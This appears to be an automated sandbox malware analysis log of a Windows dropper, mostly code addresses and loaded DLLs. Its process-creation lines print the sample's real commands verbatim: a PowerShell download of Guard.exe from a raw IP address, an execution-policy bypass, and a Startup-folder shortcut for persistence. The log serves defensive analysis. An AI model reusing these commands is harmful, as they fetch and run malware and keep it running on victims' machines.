Source: C:\Users\Public\Guard.exeCode function: 6_2_00CB0BE06_2_00CB0BE0
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CFEDB26_2_00CFEDB2
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CCCD516_2_00CCCD51
Source: C:\Users\Public\Guard.exeCode function: 6_2_00D20EB76_2_00D20EB7
Source: C:\Users\Public\Guard.exeCode function: 6_2_00D08E446_2_00D08E44
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CD6FE66_2_00CD6FE6
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CC33B76_2_00CC33B7
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CBD45D6_2_00CBD45D
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CCF4096_2_00CCF409
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CAF6A06_2_00CAF6A0
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CC16B46_2_00CC16B4
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CA16636_2_00CA1663
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CBF6286_2_00CBF628
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CC78C36_2_00CC78C3
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CC1BA86_2_00CC1BA8
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CCDBA56_2_00CCDBA5
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CD9CE56_2_00CD9CE5
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CBDD286_2_00CBDD28
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CC1FC06_2_00CC1FC0
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CCBFD66_2_00CCBFD6
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_0094B02011_2_0094B020
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009494E011_2_009494E0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_00949C8011_2_00949C80
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009623F511_2_009623F5
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009C840011_2_009C8400
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_0097650211_2_00976502
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_0094E6F011_2_0094E6F0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_0097265E11_2_0097265E
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_0096282A11_2_0096282A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009789BF11_2_009789BF
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009C0A3A11_2_009C0A3A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_00976A7411_2_00976A74
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_00950BE011_2_00950BE0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_0099EDB211_2_0099EDB2
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_0096CD5111_2_0096CD51
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009C0EB711_2_009C0EB7
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009A8E4411_2_009A8E44
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_00976FE611_2_00976FE6
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009633B711_2_009633B7
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_0096F40911_2_0096F409
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_0095D45D11_2_0095D45D
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009616B411_2_009616B4
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_0094F6A011_2_0094F6A0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_0095F62811_2_0095F628
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_0094166311_2_00941663
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009678C311_2_009678C3
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_0096DBA511_2_0096DBA5
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_00961BA811_2_00961BA8
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_00979CE511_2_00979CE5
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_0095DD2811_2_0095DD28
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_0096BFD611_2_0096BFD6
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_00961FC011_2_00961FC0
Source: Joe Sandbox ViewDropped File: C:\Users\Public\Guard.exe D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
Source: C:\Users\Public\Guard.exeCode function: String function: 00CB1A36 appears 34 times
Source: C:\Users\Public\Guard.exeCode function: String function: 00CC8B30 appears 42 times
Source: C:\Users\Public\Guard.exeCode function: String function: 00CC0D17 appears 70 times
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: String function: 00951A36 appears 34 times
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: String function: 00968B30 appears 42 times
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: String function: 00960D17 appears 70 times
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: String function: 00007FF787B98D58 appears 76 times
Source: classification engineClassification label: mal100.expl.evad.winEXE@15/12@3/1
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BF3778 GetLastError,FormatMessageW,0_2_00007FF787BF3778
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BDCCE0 AdjustTokenPrivileges,CloseHandle,0_2_00007FF787BDCCE0
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BDD5CC LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,0_2_00007FF787BDD5CC
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CF8DE9 AdjustTokenPrivileges,CloseHandle,6_2_00CF8DE9
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CF9399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,6_2_00CF9399
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_00998DE9 AdjustTokenPrivileges,CloseHandle,11_2_00998DE9
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_00999399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,11_2_00999399
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BF58C4 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,0_2_00007FF787BF58C4
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787C0EB34 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,0_2_00007FF787C0EB34
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BE4860 IIDFromString,CoCreateInstance,SetErrorMode,GetProcAddress,SetErrorMode,0_2_00007FF787BE4860
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787B76580 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,0_2_00007FF787B76580
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeFile created: C:\Users\Public\PublicProfile.ps1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2828:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6704:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4932:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2prw3af0.vpe.ps1Jump to behavior
Source: RMBOriPHVJ.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: RMBOriPHVJ.exeVirustotal: Detection: 62%
Source: RMBOriPHVJ.exeReversingLabs: Detection: 47%
Source: unknownProcess created: C:\Users\user\Desktop\RMBOriPHVJ.exe "C:\Users\user\Desktop\RMBOriPHVJ.exe"
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/hUrTgQM" -OutFile "C:\Users\Public\Guard.exe""
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\Guard.exe "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
Source: C:\Users\Public\Guard.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js"
Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/hUrTgQM" -OutFile "C:\Users\Public\Guard.exe""Jump to behavior
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\Guard.exe "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 Jump to behavior
Source: C:\Users\Public\Guard.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exitJump to behavior
Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"Jump to behavior
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeSection loaded: wsock32.dllJump to behavior
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeSection loaded: mpr.dllJump to behavior
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeSection loaded: wininet.dllJump to behavior
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: edputil.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcp47langs.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: slc.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sppc.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: wsock32.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: version.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: mpr.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: wininet.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: napinsp.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: wshbth.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: winrnr.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: jscript.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: scrobj.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: bcp47langs.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: slc.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: sppc.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: twext.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: cscui.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: edputil.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: wsock32.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: mpr.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: wininet.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: napinsp.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: wshbth.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: nlaapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: mswsock.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: dnsapi.dllJump to behavior
